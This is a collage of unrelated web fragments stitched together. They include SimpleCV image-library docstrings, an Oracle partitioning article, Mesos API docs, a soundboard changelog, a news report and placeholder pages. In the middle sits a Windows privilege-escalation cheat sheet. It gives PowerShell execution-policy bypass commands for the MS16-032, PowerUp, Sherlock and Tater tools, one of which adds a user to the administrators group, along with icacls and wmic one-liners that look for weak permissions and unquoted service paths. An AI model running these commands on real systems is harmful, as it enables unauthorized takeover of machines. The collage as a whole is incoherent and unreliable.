Return a drawing layer based on the provided index. If not provided, will default to the top layer. If no layers exist, one will be created
This function returns the Gray value for a particular image pixel given a specific row and column.
This function returns a single row of RGB values from the image.
This function returns a single row of RGB values from the image.
Gets the pygame surface. This is used for rendering the display
RETURNS: pgsurface
This function returns the RGB value for a particular image pixel given a specific row and column.
This function returns a single column of RGB values from the image.
This function returns a single column of gray values from the image.
return a gray scale version of the image
Returns: IMAGE
Return a numpy array of the 1D histogram of intensity for pixels in the image Single parameter is how many “bins” to have.
Returns an image representing the distance of each pixel from the given hue of a specific color. The hue is “wrapped” at 180, so we have to take the shorter of the distances between them – this gives a hue distance of max 90, which we’ll scale into a 0-255 grayscale image.
The minsaturation and minvalue are optional parameters to weed out very weak hue signals in the picture, they will be pushed to max distance [255]
Returns the histogram of the hue channel for the image
Takes the histogram of hues, and returns the peak hue values, which can be useful for determining what the “main colors” in a picture now.
The bins parameter can be used to lump hues together, by default it is 179 (the full resolution in OpenCV’s HSV format)
Peak detection code taken from https://gist.github.com/1178136 Converted from/based on a MATLAB script at http://billauer.co.il/peakdet.html
Returns a list of tuples, each tuple contains the hue, and the fraction of the image that has it.
Insert a new layer into the layer stack at the specified index
Calculate the integral image and return it as a numpy array. The integral image gives the sum of all of the pixels above and to the right of a given pixel location. It is useful for computing Haar cascades. The return type is a numpy array the same size of the image. The integral image requires 32Bit values which are not easily supported by the SimpleCV Image class.
Invert (negative) the image note that this can also be done with the unary minus (-) operator.
Returns: IMAGE
The maximum value of my image, and the other image, in each channel If other is a number, returns the maximum of that and the number
Finds average color of all the pixels in the image.
Returns: IMAGE
Return all DrawingLayer objects as a single DrawingLayer
The minimum value of my image, and the other image, in each channel If other is a number, returns the minimum of that and the number
morphologyClose applies a morphological close operation which is effectively a dilation operation followed by a morphological erosion. This operation helps to ‘bring together’ or ‘close’ binary regions which are close together.
See: http://en.wikipedia.org/wiki/Closing_(morphology) See: http://opencv.willowgarage.com/documentation/cpp/image_filtering.html#cv-morphologyex Example Use: Use when a part, which should be one blob is really two blobs. Example Code: ./examples/MorphologyExample.py
The morphological gradient is the difference betwen the morphological dilation and the morphological gradient. This operation extracts the edges of a blobs in the image.
See: http://en.wikipedia.org/wiki/Morphological_Gradient See: http://opencv.willowgarage.com/documentation/cpp/image_filtering.html#cv-morphologyex Example Use: Use when you have blobs but you really just want to know the blob edges. Example Code: ./examples/MorphologyExample.py
morphologyOpen applies a morphological open operation which is effectively an erosion operation followed by a morphological dilation. This operation helps to ‘break apart’ or ‘open’ binary regions which are close together.
See: http://en.wikipedia.org/wiki/Opening_(morphology) See: http://opencv.willowgarage.com/documentation/cpp/image_filtering.html#cv-morphologyex Example Use: two part blobs are ‘sticking’ together. Example Code: ./examples/MorphologyExample.py
This function will return any text it can find using OCR on the image.
Please note that it does not handle rotation well, so if you need it in your application try to rotate and/or crop the area so that the text would be the same way a document is read
RETURNS: String
If you’re having run-time problems I feel bad for your son, I’ve got 99 problems but dependencies ain’t one:
http://code.google.com/p/tesseract-ocr/ http://code.google.com/p/python-tesseract/
Region select is similar to crop, but instead of taking a position and width and height values it simply takes to points on the image and returns the selected region. This is very helpful for creating interactive scripts that require the user to select a region.
Remove a layer from the layer stack based on the layer’s index.
This function rotates an image around a specific point by the given angle By default in “fixed” mode, the returned Image is the same dimensions as the original Image, and the contents will be scaled to fit. In “full” mode the contents retain the original size, and the Image object will scale by default, the point is the center of the image. you can also specify a scaling pa rameter
Does a fast 90 degree rotation to the right. Note that subsequent calls to this function WILL NOT keep rotating it to the right!!! This function just does a matrix transpose so following one transpose by another will just yield the original image.
Save the image to the specified filename. If no filename is provided then then it will use the filename the Image was loaded from or the last place it was saved to.
Save will implicitly render the image’s layers before saving, but the layers are not applied to the Image itself.
Scale the image to a new width and height.
If no height is provided, the width is considered a scaling value ie:
img.scale(200, 100) #scales the image to 200px x 100px
img.scale(2.0) #enlarges the image to 2x its current size
Returns: IMAGE
Given a set of new corner points in clockwise order, return a shear-ed Image that transforms the Image contents. The returned image is the same dimensions.
cornerpoints is a 2x4 array of point tuples
This function automatically pops up a window and shows the current image
Gets width and height
Returns: TUPLE
Smooth the image, by default with the Gaussian blur. If desired, additional algorithms and aperatures can be specified. Optional parameters are passed directly to OpenCV’s cv.Smooth() function.
If grayscale is true the smoothing operation is only performed on a single channel otherwise the operation is performed on each channel of the image.
Returns: IMAGE
Given number of cols and rows, splits the image into a cols x rows 2d array of cropped images
quadrants = Image(“foo.jpg”).split(2,2) <– returns a 2d array of 4 images
Split the channels of an image into RGB (not the default BGR) single parameter is whether to return the channels as grey images (default) or to return them as tinted color image
Returns: TUPLE - of 3 image objects
The stretch filter works on a greyscale image, if the image is color, it returns a greyscale image. The filter works by taking in a lower and upper threshold. Anything below the lower threshold is pushed to black (0) and anything above the upper threshold is pushed to white (255)
Returns: IMAGE
Converts image colorspace to BGR
RETURNS: Image
Converts image to Grayscale colorspace
RETURNS: Image
Converts image to HLS colorspace
RETURNS: Image
Converts image to HSV colorspace
RETURNS: Image
Converts Image colorspace to RGB
RETURNS: Image
Converts image to XYZ colorspace
RETURNS: Image
This helper function for shear performs an affine rotation using the supplied matrix. The matrix can be a either an openCV mat or an np.ndarray type. The matrix should be a 2x3
This helper function for warp performs an affine rotation using the supplied matrix. The matrix can be a either an openCV mat or an np.ndarray type. The matrix should be a 3x3
Given a new set of corner points in clockwise order, return an Image with the images contents warped to the new coordinates. The returned image will be the same size as the original image
Bases: SimpleHTTPServer.SimpleHTTPRequestHandler
The JpegStreamHandler handles requests to the threaded HTTP server. Once initialized, any request to this port will receive a multipart/replace jpeg.
The JpegStreamer class allows the user to stream a jpeg encoded file to a HTTP port. Any updates to the jpg file will automatically be pushed to the browser via multipart/replace content type.
To initialize: js = JpegStreamer()
to update: img.save(js)
to open a browser and display: import webbrowser webbrowser.open(js.url)
Note 3 optional parameters on the constructor: - port (default 8080) which sets the TCP port you need to connect to - sleep time (default 0.1) how often to update. Above 1 second seems to cause dropped connections in Google chrome
Once initialized, the buffer and sleeptime can be modified and will function properly – port will not.
The VideoStream lets you save video files in a number of different formats.
You can initialize it by specifying the file you want to output:
vs = VideoStream("hello.avi")
You can also specify a framerate, and if you want to “fill” in missed frames. So if you want to record a realtime video you may want to do this:
vs = VideoStream("myvideo.avi", 25, True) #note these are default values
Where if you want to do a stop-motion animation, you would want to turn fill off:
vs_animation = VideoStream("cartoon.avi", 15, False)
If you select a fill, the VideoStream will do its best to stay close to “real time” by duplicating frames or dropping frames when the clock doesn’t sync up with the file writes.
You can save a frame to the video by using the Image.save() function:
my_camera.getImage().save(vs)
Search for item in a list
Returns: Boolean
Determines if it is a number or not
Returns: Type
Determines if it is a tuple or not
Returns: Boolean
This function is a utility for converting numpy arrays to the cv.cvMat format.
Returns: cvMatrix
Reverses a tuple
Returns: Tuple


Welcome to Fontool! This tiny little app can help you to test webfonts. It is focussing on the following aspects:
Overall readability
Is it friendly to read and suitable for large amounts of text?
Rendering
How well does the font perform on different platforms, browsers and devices? Is it well hinted so that it looks good on windows?
Formal criteria
Does your font meet the right temper, is it legible?
Language support
Some languages hold very special characters which you might need. Modern browsers often fake missing charaters but this wouldn’t work on older versions of IE or some mobile browsers. Thats why this demo features hungarian too, just in case.
Fallback
What happens if the font wouldn’t load?
This is a very simple solution to scrutinize your font of choice for the aspects mentioned above. Wether you are from a Brand, UX, Visual or Interaction design field I hope this can contribute to your workflow. The purpose is to rule out complicated font choices early in the design process. At the moment this works with google fonts and it would also load fonts installed on your system although it will throw an error.
I will add more funcionality in the future, e.g.:


Exec Powershell file:
powershell.exe -exec bypass -Command "& {Import-Module .\MS16-032.ps1; Invoke-MS16-032}"
Tools:- 1.beRoot.exe
- 1)If [!] Registry key with writable access look at Services
- 2)If Binary located on a writable directory look at Services
- 2. Upload PowerUP and Sherlock, run:
- powershell.exe -exec bypass -Command "& {Import-Module .\PowerUp.ps1; Invoke-AllChecks|Out-File -Encoding ASCII checks.txt}"
- -If in "Check service permission", read "Weak Permission"
- -If in "Unquoted", read "Unquoted"
- powershell.exe -exec bypass -Command "& {Import-Module .\Sherlock.ps1; Find-AllVulns|Out-File -Encoding ASCII FindVulns.txt}"
- -Try everything!
- powershell.exe -exec bypass -Command "& {Import-Module .\Tater.ps1; Invoke-Tater -Trigger 1 -Command "net localgroup administrators user /add"}"
- 3. windows-privesc-check2.exe --audit -a -o report.txt
Guides:- https://www.hackingarticles.in/privilege-escalation-on-windows-7810-server-2008-server-2012-using-potato/
- PowerSploit --> https://h4ck.co/wp-content/uploads/2017/11/PowerUp.pdf
- https://www.harmj0y.net/blog/powershell/powerup-a-usage-guide/
Find folder with permissions:
icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "Everyone"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "Everyone"
icacls "C:\Program Files\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users"
icacls "C:\Program Files (x86)\*" 2>nul | findstr "(F)" | findstr "BUILTIN\Users"
Unquoted services:
wmic service get name,displayname,pathname,startmode 2>nul |findstr /i "Auto" 2>nul |findstr /i /v "C:\Windows\\" 2>nul |findstr /i /v """
wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB.." /C:"KB.."
Guides:- https://github.com/netbiosX/Checklists/blob/master/Windows-Privilege-Escalation.md
- https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
- https://movaxbx.ru/2018/09/16/privilege-escalation-post-exploitation/amp/?__twitter_impression=true
- https://guif.re/windowseop
- https://securityonline.info/windows-command-line-kung-fu/
- https://pentestlab.blog/2017/02/28/always-install-elevated/
- https://pentestlab.blog/2017/03/27/dll-hijacking/


The mapping of logical entities to physical tables is too often just allowed to default to a direct mapping, without considering any alternatives. The performance and scalability of your application will relate directly to the care you take at this point. Partitioning is one of the main strategies to consider.
If an entity has some attributes which are relatively large, and seldom or never used in WHERE clause predicates, then there may be considerable benefit in partitioning the entity into two sibling tables.
For example, an entity representing a legal document may be implemented using two sibling tables - one containing columns for the synthetic key, the matter, parties, dates and so on - the other containing just the synthetic key, and the full text of the document (a CLOB column).
The benefit of partitioning by columns is that when a full table scan is required, it will be performed against a relatively small table. Partitioning by columns may be implemented using index-organized tables.
Partitioning by rows, which is often just called partitioning, has a wide variety of uses and benefits. These are the main benefits to consider:
Much as you may strive to avoid it, it is sometimes necessary to perform recovery or data maintenance operations on large entities. Partitioning reduces the unit of recovery and data maintenance, thereby making it possible to perform such operations within a modest timeframe, possibly in parallel.
The partitioning key should be chosen so that the number of rows in each partition is limited. In this way it is possible to ensure that the required maintenance operations can be accomplished comfortably within the available window.
Partitioning can be used to improve concurrency on entities that have high insert and delete rates. Although multiple process freelists can be used to reduce the risk of data block contention, there is still the risk of contention for the block in which the freelist headers are stored when blocks are removed from and returned to the process freelists very quickly. In a parallel server environment multiple freelist groups can be used to reduce this risk as well. However, using multiple freelist groups is undesirable because it can compromise data density.
Partitioning offers a simpler and more certain defense against the risk of freelist header block contention. Activity can be distributed evenly across the partitions using a hash partitioning algorithm.
Many entities contain records that need to be archived and purged periodically. The best way of purging archived data is to drop or truncate a partition, rather than delete the rows. In order to permit this, such entities should be partitioned in such a way that the rows that must be purged together are stored together in their own partition.
Another benefit of range partitioning, is automatic partition elimination during the formulation of query execution plans. The optimizer compares the WHERE clause predicates with the partitioning range for each partition and eliminates from the execution plan those partitions which can be guaranteed not to contain rows satisfying the query. Of course, partition elimination normally relies on not using bind variables, so that the optimizer can determine which partitions can be eliminated. However, in the case of equality predicates on the partitioning key, the optimizer is content in the knowledge that at most one partition will be required.
Without partitioning Oracle can only use parallel execution plans for queries that are driven by a full table scan or fast full index scan. Partitioning by rows enables both queries and DML statements using index based access methods to be executed in parallel.
If several of these benefits of partitioning are required for a particular entity, a composite partitioning key, possibly using a hybrid partitioning algorithm, can normally be devised.
Two related tables, or a table and its index, are said to be equi-partitioned if there is a one to one correspondence between their partitions. Equi-partitioning should be your standard for the following reasons:
|
Partition independence is maximized.
That is, while maintenance operations are being performed on some partitions, the other partitions can still be used. |
|
|
The full range of partition-parallel execution plans is made available. |
|
| Large sorts and joins are minimized. |
In particular, global indexes should be avoided, because they have to be entirely rebuilt after numerous maintenance operations.
It is commonly thought that global indexes are unavoidably needed to implement uniqueness constraints on keys other than (a leading portion of) the partitioning key. However, it is equally possible to use equi-partitioned non-unique indexes, and enforce uniqueness across the partitions using triggers. Despite the cost of trigger execution, this option should be carefully considered if frequent large global index rebuilds would otherwise be required.
In manual partitioning a set of tables are used as partitions, a UNION ALL view is used to encapsulate the partitions, and INSTEAD OF triggers are defined on the view to direct DML operations to the appropriate base tables. There are major drawbacks to manual partitioning, namely:
|
It increases the database administration complexity. |
|
|
Memory and CPU resources are less efficiently used during parsing. |
|
|
Partition elimination may not be possible. |
|
| Partition-parallel index scans, are not available to the query optimizer. |
In view of this, manual partitioning should only be used when it is needed to overcome a limitation in Oracle's native partitioning functionality.
| Copyright © Ixora Pty Ltd |
|


Number of contracts
Street Name
Street No
Postal code
Size
Floor
Rent
Rooms
Description
Status
First Name
Last Name
Total Rent
Newspaper Name
Total Cost
Average Cost
Total Duration


What To Show
photo stream?
popular
highest rated
upcoming
editors's choice
fresh today
fresh yesterday
fresh week
or for more specific: tag | keyword


Memory managers
| Java Heap status: | |
| Host OS memory: | |
| Host OS swap: |
| Java Heap status: | |
| Host OS memory: | |
| Host OS swap: |
| Name | Valid | Properties |
|---|---|---|
| Name | Valid | Properties |
|---|---|---|
[used (committed) / max - usage%]
| Pool name | Pool type | Valid | Current usage | % | Peak usage | % | Usage after last GC | % |
|---|---|---|---|---|---|---|---|---|


To float elements, use the following classes: .float-l-xs
, .float-r-xs
, and .float-none-xs
Directions
l
= leftr
= right

.float-l-xs

.float-r-xs

.float-none-xs

Use .hide-xs
, .block-xs
, .inline-xs
and .inline-block-xs
to change an element's display.

.hide-xs

.block-xs

.inline-xs

.inline-block-xs

Use .overflow-hidden-xs
, .overflow-auto-xs
, .overflow-scroll-xs
and .overflow-visible-xs
to change an element's overflow.
.overflow-hidden-xs
Lorem ipsum dolor sit amet, consectetur adipisicing elit. Laborum maiores esse vel quia, voluptates quos. Tempora natus iste aperiam sequi mollitia, doloremque quas recusandae, rerum minima dolorum, veritatis vitae maxime.
.overflow-auto-xs
Lorem ipsum dolor sit amet, consectetur adipisicing elit. Laborum maiores esse vel quia, voluptates quos. Tempora natus iste aperiam sequi mollitia, doloremque quas recusandae, rerum minima dolorum, veritatis vitae maxime.
.overflow-scroll-xs
Lorem ipsum dolor sit amet, consectetur adipisicing elit. Laborum maiores esse vel quia, voluptates quos. Tempora natus iste aperiam sequi mollitia, doloremque quas recusandae, rerum minima dolorum, veritatis vitae maxime.
.overflow-visible-xs
Lorem ipsum dolor sit amet, consectetur adipisicing elit. Laborum maiores esse vel quia, voluptates quos. Tempora natus iste aperiam sequi mollitia, doloremque quas recusandae, rerum minima dolorum, veritatis vitae maxime.

.overflow-hidden-xs

...

.overflow-auto-xs

...

.overflow-scroll-xs

...

.overflow-visible-xs

...

Most widths will be set using our grid layout. However, Leap provides .w-fit-xs
to set an elements max-width to 100%, additionally it has .w-full-xs
and .h-full-xs
to set an elements width to 100%. You can use .w-auto-xs
to set an elements width to auto.

.w-fit-xs

.w-full-xs

.h-full-xs

.w-auto-xs

We use our spacial units across margin, padding, and positioning. These comes in values from 0-6 and a half space unit of 0.5. Each value represents a unit based on 1rem=16px. Each class uses a shorthand of its name to indicate properties and direction.
Units
0
= 00.5
= 0.5rem1
= 1rem2
= 1.5rem3
= 2rem4
= 3rem5
= 4rem6
= 5remProperties
m
= marginp
= paddingSides
t
= topb
= bottoml
= leftr
= rightlr
= left + righttb
= top + bottomThese classes are used to apply equal spacing around the entire element.
Margin
.m-0-xs
.m-05-xs
.m-1-xs
.m-2-xs
.m-3-xs
.m-4-xs
.m-5-xs
.m-6-xs
Padding
.p-0-xs
.p-05-xs
.p-1-xs
.p-2-xs
.p-3-xs
.p-4-xs
.p-5-xs
.p-6-xs

m-05-xs

m-1-xs

m-2-xs

m-3-xs

p-05-xs

p-1-xs

p-2-xs

p-3-xs

These classes are used to apply spacing to a particular side of an element.
Margin
.m-t-1-xs
margin-top.m-b-1-xs
margin-bottom.m-l-1-xs
margin-left.m-r-1-xs
margin-right.m-lr-1-xs
margin left + right.m-tb-1-xs
margin top + bottom.m-auto-xs
horizontal center.m-t-auto-xs
margin-top auto.m-b-auto-xs
margin-bottom auto.m-l-auto-xs
margin-left auto.m-r-auto-xs
margin-right autoPadding
.p-0-xs
padding-top.p-05-xs
padding-bottom.p-1-xs
padding-left.p-2-xs
padding-right.p-3-xs
padding left + right.p-4-xs
padding top + bottom

m-t-3-xs

m-t-4-xs

m-t-5-xs

m-t-6-xs

p-l-3-xs

p-l-4-xs

p-l-5-xs

p-l-6-xs

p-l-auto-xs

Positioning is simple with Leap. Just add .relative-xs
, .absolute-xs
, .fixed-xs
, or .static-xs
to control the type of positioning on an element. From there, you can apply values based on our spacing units of 0-6 and a half unit of 05. Use .pos-t-n-xs
, where t is the side and n is one of our spacing units.
Note: There is no demo for position fixed because it will always be fixed to the viewport, not a parent container.
.relative-xs
= relative.absolute-xs
= absolute.fixed-xs
= fixed.static-xs
= static.pos-t-n-xs
= top.pos-b-n-xs
= bottom.pos-l-n-xs
= left.pos-r-n-xs
= rightUse a z-index class to assign the stack order of elements. We've created classes for values 1-4, which end up as 100-400 in the property value.
.z-1-xs
= z-index: 100.z-2-xs
= z-index: 200.z-3-xs
= z-index: 300.z-4-xs
= z-index: 400

.relative-xs .pos-t-2-xs .pos-l-5-xs

.relative-xs

.absolute-xs .pos-t-4-xs .pos-l-5-xs

.absolute-xs .pos-t-1-xs .pos-l-2-xs

.absolute-xs .pos-t-4-xs .pos-l-4-xs

You can vertically align elements with the .align-top-xs
, .align-middle-xs
, or .align-bottom-xs
classes.
img
tag has the class align-top-xs
on it.
img
tag has the class align-middle-xs
on it.
img
tag has the class align-bottom-xs
on it.

This is our friend Gratt Spore and the img tag has the class align-top-xs on it.

This is our friend Gratt Spore and the img tag has the class align-middle-xs on it.

This is our friend Gratt Spore and the img tag has the class align-bottom-xs on it.

You can rotate elements by using .rotate-n-xs
, where n is 0, 45, 90, 135, 180, 225, 270, or 315.


3
Game name
539.9k
35.5k
Watching
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Streams
See more streams
Gamer 1
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Version 0.5.0
-
NEW
Tooltips. Tooltips will now appear on most buttons with icons.
-
NEW
Folder-linked Soundboards. Soundboards can now be linked to a folder. Sounds are added and removed automatically depending on the contents of the folder.
-
NEW
File dragging support. Sounds can now be added by dragging one or multiple sound files directly to a soundboard inside the app window.
-
NEW
Move sound option. While adding a sound, the respective file can now be moved to a location specified in Settings.
-
NEW
Middle-click on a soundboard to stop all sounds playing from it.
-
FIX
Directories are now checked before adding a sound.
Version 0.4.1
-
FIX
Scrollbars no longer appear in front of everything.
Version 0.4.0
-
NEW
Custom sorting of sounds and soundboards. Drag sounds to reorder them inside a soundboard or drag them to other soundboards to move them! Soundboards can also be reordered.
-
NEW
Feedback on playing sounds. Playing sounds now show a little indicator on the top right corder when playing. Click it to stop the sound. Middle-clicking a sound now also stops it.
-
NEW
Main info screen. Click on the icon on the top left corner of the app to view info about Mega Soundboard.
-
FIX
Mouse lag. Opening another instance no longer causes mouse lag. Mega Soundboard is now limited to one instance.
-
FIX
ESC will no longer cause the modal to close while recording a keybind.


RT @MichaelAGoin: @jasonrclark "before you can truly understand the Microsoft, you must truly understand yourself." - IL Assembler 5:17
2/2/2017, 10:38:56 AM
Favs: 0
Retweets: 0
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RT @MichaelAGoin: @jasonrclark "before you can truly understand the Microsoft, you must truly understand yourself." - IL Assembler 5:17
2/2/2017, 10:38:56 AM
Favs: 0
Retweets: 0
link


LG Polls: Police redeploy officers in Niger
by Agency ReportThe police command in Niger State has redeployed divisional police officers across the 25 Local Government Areas of the state to ensure neutrality in the November 30 local government elections.
The Commissioner of Police in the state, Adamu Usman, made this known in an interview with the News Agency of Nigeria (NAN) in Minna on Monday.
Mr Usman said that the police and other security agencies would maintain neutrality to enable eligible residents to elect leaders of their choice through a democratic process.
He said that already, an effective operational order to provide security at each of the polling units had since been issued to the officers deployed for that purpose.
He said that other sensitive security measures had since been taken to enable eligible residents participate in the electoral process.
“We have mobilised sufficient armed personnel to provide security cover at all the polling units and collections centres during and after the elections,” Usman said.
The commissioner also said that the command had already embarked on “Operation Show Force’’ with other security agencies to show preparedness for the elections.
He explained that the measures were aimed at giving the residents of the state the opportunity to exercise their civil rights without threat to lives and property.
The commissioner advised leaders of political parties in the state to impress it on their supporters to shun all forms of violence and thuggery before, during and after the election.
Mr Usman said: “We will not tolerate any act capable of bringing confusion before, during and after the elections”.
He warned that any person or group found sponsoring political violence and thuggery would be arrested and prosecuted.
(NAN)


is a company that sells motorcycle scooter type best suited for motorcycle enthusiast and it is the evolution of scooter type motorcycles because it uses hydrogen engine which is powered by water which is environment friendly instead of fuel, Motor Hero is easy to maneuver because of its size and this scooter is easily customized based on the customer's idea.
To make H.M. available all over the Philippines.
To be the largest Motorcycle company in Baguio City.
To serve our customers flawlessly.
To give the customers the best motorcycle.
To build a stable and effective customer relationships.
To build an effective sustainable technology.


We redefine solutions!
- repurpose back-end web services
- deliver end-to-end e-services
- generate best-of-breed e-commerce
- revolutionize user-centric bandwidth
- visualize transparent bandwidth
- optimize value-added e-commerce
- facilitate viral architectures
- e-enable sexy synergies
- generate dot-com paradigms
- architect leading-edge infrastructures
- revolutionize rich web-readiness
- streamline bricks-and-clicks functionalities
- revolutionize open-source users
- aggregate one-to-one vortals
- generate distributed action-items


Hello fanxu, welcome to SJSM song system!
Your next service time will be 14/07/2021, enjoy your worship time.
| Name |
Position |
attend rehersal |
attend service |
Special requirement |
Email address |
| Yu Ling |
Lead Singer
|
Yes |
Yes |
永恒大哥, Please help print songs |
<EMAIL_ADDRESS>|
| Fan Xu |
Drummer
|
Not confirm yet |
Yes |
No |
<EMAIL_ADDRESS>|
| Hui Min |
Support Singer
|
Yes |
Yes |
set up guitar |
<EMAIL_ADDRESS>|
Shi Miao |
Support Singer
|
No |
No |
N.A |
<EMAIL_ADDRESS>|
| Song name |
Resource Link |
View |
Download |
|
将天敞开
|
http://youtube.test.com |
|
|
|
君王就在这里
|
http://youtube.test.com |
|
|
|
十字架
|
http://youtube.test.com |
|
|


L.CRS.PTVMercator Class
Provides the PTV Mercator coordinate reference system.
Constructor
L.CRS.PTVMercator
()
Methods
project
()
Point
Projects a geographical coordinate into a PTV Mercator point.
Returns:
Point:
PTV Mercator point.
unproject
()
L.LatLng
Unprojects a PTV Mercator point to a geographical coordinate.
Returns:
L.LatLng:
Geographical coordinate.
Properties
code
String
Standard code name of the CRS passed into WMS services.
Default: "PTV:MERCATOR"
earthRadius
Number
private
The earth radius used for projections.
Default: 6371000
projection
L.IProjection
Projection that this CRS uses.
transformation
L.Transformation
Transformation that this CRS uses to turn projected coordinates into screen coordinates for a particular tile service.


#include <health_checker.hpp>
|
static Try< process::Owned
< HealthChecker > > | create (const HealthCheck &check, const std::string &launcherDir, const lambda::function< void(const TaskHealthStatus &)> &callback, const TaskID &taskId, const Option< pid_t > &taskPid, const std::vector< std::string > &namespaces) |
| | Attempts to create a HealthChecker object. More...
|
| |
static Try< process::Owned
< HealthChecker > > | create (const HealthCheck &check, const std::string &launcherDir, const lambda::function< void(const TaskHealthStatus &)> &callback, const TaskID &taskId, const ContainerID &taskContainerId, const process::http::URL &agentURL) |
| | Attempts to create a HealthChecker object. More...
|
| |
| mesos::internal::checks::HealthChecker::~HealthChecker |
( |
| ) |
|
| static Try<process::Owned<HealthChecker> > mesos::internal::checks::HealthChecker::create |
( |
const HealthCheck & |
check, |
|
|
const std::string & |
launcherDir, |
|
|
const lambda::function< void(const TaskHealthStatus &)> & |
callback, |
|
|
const TaskID & |
taskId, |
|
|
const Option< pid_t > & |
taskPid, |
|
|
const std::vector< std::string > & |
namespaces |
|
) |
| |
|
static |
Attempts to create a HealthChecker
object.
In case of success, health checking starts immediately after initialization.
If the check is a command health check, the checker will fork a process, enter the task's namespaces, and execute the commmand.
- Parameters
-
| check | The protobuf message definition of health check. |
| launcherDir | A directory where Mesos helper binaries are located. |
| callback | A callback HealthChecker uses to send health status updates to its owner (usually an executor). |
| taskId | The TaskID of the target task. |
| taskPid | The target task's pid used to enter the specified namespaces. |
| namespaces | The namespaces to enter prior to performing the health check. |
- Returns
- A
HealthChecker
object or an error if create
fails.
- Todo:
- A better approach would be to return a stream of updates, e.g.,
process::Stream<TaskHealthStatus>
rather than invoking a callback.
- Todo:
- Consider leveraging
checks::Checker
for checking functionality. This class will then focus on interpreting and acting on the result.
| static Try<process::Owned<HealthChecker> > mesos::internal::checks::HealthChecker::create |
( |
const HealthCheck & |
check, |
|
|
const std::string & |
launcherDir, |
|
|
const lambda::function< void(const TaskHealthStatus &)> & |
callback, |
|
|
const TaskID & |
taskId, |
|
|
const ContainerID & |
taskContainerId, |
|
|
const process::http::URL & |
agentURL |
|
) |
| |
|
static |
Attempts to create a HealthChecker
object.
In case of success, health checking starts immediately after initialization.
If the check is a command health check, the checker will delegate the execution of the check to the Mesos agent via the LaunchNestedContainerSession
API call.
- Parameters
-
| check | The protobuf message definition of health check. |
| launcherDir | A directory where Mesos helper binaries are located. |
| callback | A callback HealthChecker uses to send health status updates to its owner (usually an executor). |
| taskId | The TaskID of the target task. |
| taskContainerId | The ContainerID of the target task. |
| agentURL | The URL of the agent. |
- Returns
- A
HealthChecker
object or an error if create
fails.
- Todo:
- A better approach would be to return a stream of updates, e.g.,
process::Stream<TaskHealthStatus>
rather than invoking a callback.
| void mesos::internal::checks::HealthChecker::pause |
( |
| ) |
|
| void mesos::internal::checks::HealthChecker::resume |
( |
| ) |
|
The documentation for this class was generated from the following file:


View Eric Miotto's profile
My Stack Overflow Careers 2.0 profile
My Pinboard
My Github profile
My Bitbucket profile


How to make your own personal encrypter/decrypter
That is, your own version of this.
- Fork the repo
- Generate a keypair
- Save the public and private keys.
-
Move the public key (
publicKey.js
) into your forked repo's
public
folder, overwriting the existing file.
-
Move the private key (
privateKey.json
) somewhere
safe. You'll need it every time you decrypt something. If you lose the key, there is
no way to recover it and decrypt anymore.
DO NOT add the private key to your version control!
-
Deploy the public folder somewhere. It's just static files, so
Netlify, Vercel,
Surge or any other static host should do. Or put it on
your on personal site, somewhere.


| Extension UK Core AddressKey |
Address |
| Extension UK Core AdmissionMethod |
Encounter.hospitalization |
| Extension UK Core AllergyIntoleranceEnd |
AllergyIntolerance |
| Extension UK Core AnaestheticIssues |
Procedure |
| Extension UK Core ClinicalSetting |
List |
| Extension UK Core ConditionEpisode |
Condition |
| Extension UK Core ContactPreference |
Patient.contact, Patient.telecom, RelatedPerson.telecom |
| Extension UK Core ContactRank |
Patient.contact, RelatedPerson |
| Extension UK Core CopyCorrespondenceIndicator |
Patient.contact, RelatedPerson |
| Extension UK Core DeathNotificationStatus |
Patient |
| Extension UK Core DischargeMethod |
Encounter.hospitalization |
| Extension UK Core EffectivePeriod |
Resource |
| Extension UK Core EmergencyCareDischargeStatus |
Encounter |
| Extension UK Core EncounterTransport |
Encounter |
| Extension UK Core EthnicCategory |
Patient |
| Extension UK Core Evidence |
AllergyIntolerance |
| Extension UK Core ListWarningCode |
List |
| Extension UK Core MainLocation |
Organization |
| Extension UK Core NHSCommunication |
Patient, Practitioner |
| Extension UK Core NHSNumberVerificationStatus |
Patient.identifier |
| Extension UK Core NominatedPharmacy |
Patient |
| Extension UK Core OutcomeOfAttendance |
Encounter |
| Extension UK Core ReligiousAffiliation |
Patient |
| Extension UK Core ResidentialStatus |
Patient |
| Extension UK Core TreatmentCategory |
Patient |


September 1st for me was both Eid and Kode With Klossy Demo Day. Everyone was extremely excited to finish their projects and get ready to present them, but also super sad at the same time because it was time to say good-bye. We started the day by working on finishing our final projects. The morning was filled with a little stress but mostly success. When the time finally came, we uploaded our websites on Herokuapp.com, we all gave each other high fives, and we gathered in our circle for the last time. We gave our final shoutouts to everyone who made the past two weeks amazing. It took a while because we all appreciated getting to be around each other so much.
Shoutouts came to an end and we cheered for the last time “New Kloss City!” We set up for Demo Day and everyone’s guests had arrived. My two brothers came to watch my presentation. Joanna and I confidently went up to present our finished product and seemed to impress many, including ourselves. We’d gotten through all of the website presentations and set-up our computers for the behind-the-scenes code.
Now was time for graduation. Everybody was called up to get a diploma and some Kode With Klossy merch/swag and when graduation was over, we all talked to each other and said our goodbyes.  It was the most amazing two weeks all summer and I will never forget the extraordinary people, teachers, and opportunities that Kode With Klossy gave me. Until next summer New Kloss City!
←Last Blog First Blog→


Magx monitor: Avaliable rooms
Refresh rooms list
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A Unicode keyboard for the Mon language (mnw). Pyidaungsu, Padauk font is included in the keyboard package.
© Anonta Mon


DFSIO
DFSIO Benchmark for CDAP
Input Filesize:
Data Processing Method:
Hadoop MR
Spark
Iteration Times:
Execute
RESULT:
Processing Method
Bench Size(Bytes)
Duration(s)
Throughput(Bytes/s)


Web & Graphic Designer
Computer Networking Associate
I am a young bright, ambitious and self-motivated Web & Graphic Designer, and a Computer Networking Associate. I have great passion for technology. I'm enthusiastic about growing and gaining new skills everyday as I further explore the technology world.
+254758787579
Along Southern Bypass
Eureka Towers
5th floor
Room number 5


Why must they do that use lap as chair so hide when guests come over hide when guests come over. Hopped up on goofballs, hide when guests come over.
The Christmas countdown is officially on! And how do we know? Because the Marks & Spencer
Christmas advert has just hit screen. And the star is a certain Holly Willoughby – and her
enviable wardrobe. We can’t stop thinking about the fabulous purple coat that she wears
during the ad – which is FINALLY available to purchase now.
Although it was released
in store earlier this month, you can now purchase it online for £89. The single-breasted
